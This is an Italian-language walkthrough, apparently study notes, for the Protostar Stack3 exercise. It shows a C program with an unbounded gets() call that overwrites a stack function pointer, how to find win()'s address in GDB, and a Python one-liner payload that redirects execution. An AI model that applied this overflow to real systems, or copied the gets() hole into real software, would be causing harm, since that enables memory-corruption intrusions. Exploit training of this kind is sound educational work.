<aside> đ©
Stack3 looks at overwriting function pointers stored on the stack
</aside>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf(âcode flow succesfully changed\\nâ);
}
int main(int argc, char **argv) {
volatile int (*fp)();
char buffer[64];
fp=0;
gets(buffer);
if(fp) {
printf(âcalling function pointer, jumping to 0x%08x\\nâ,fp);
fp();
}
}
Lâobiettivo della sfida Ăš impostare fp=win
a tempo di esecuzione
â ciĂČ modifica il flusso di esecuzione poichĂ© provoca il salto del codice alla funzione win()
Idea: se possiamo recuperare lâindirizzo della funzione win()
a partire dal binario eseguibile stack3, basta appenderlo allâinput
â in tal modo il valore di fp
viene sovrascritto con lâindirizzo della funzione win()
, e poiché fp
Ăš diverso da zero, viene provocato il salto a fp
Consente di visualizzare cosa accade in un programma durante la sua esecuzione o al momento del crash
GDB viene invocato con gdb -q file_eseguibile
(-q
consente di evitare la stampa dei messaggi di copyright)
Una volta avviato, GDB legge i comandi dal terminale fino a che non si digita quit
(q
)
Il comando print
(p
) consente di visualizzare il valore di unâespressione
Recuperiamo lâindirizzo della funzione win()
tramite print
â gdb -q /opt/protostar/bin/stack3
p win
Costruiamo un input di 64 caratteri âaâ seguito dallâindirizzo di win()
in formato Little Endian
Mandiamo stack3 in esecuzione $'python -c 'print "a" * 64 + "\\x24\\x84\\x04\\x08"' | /opt/protostar/bin/stack3
đ©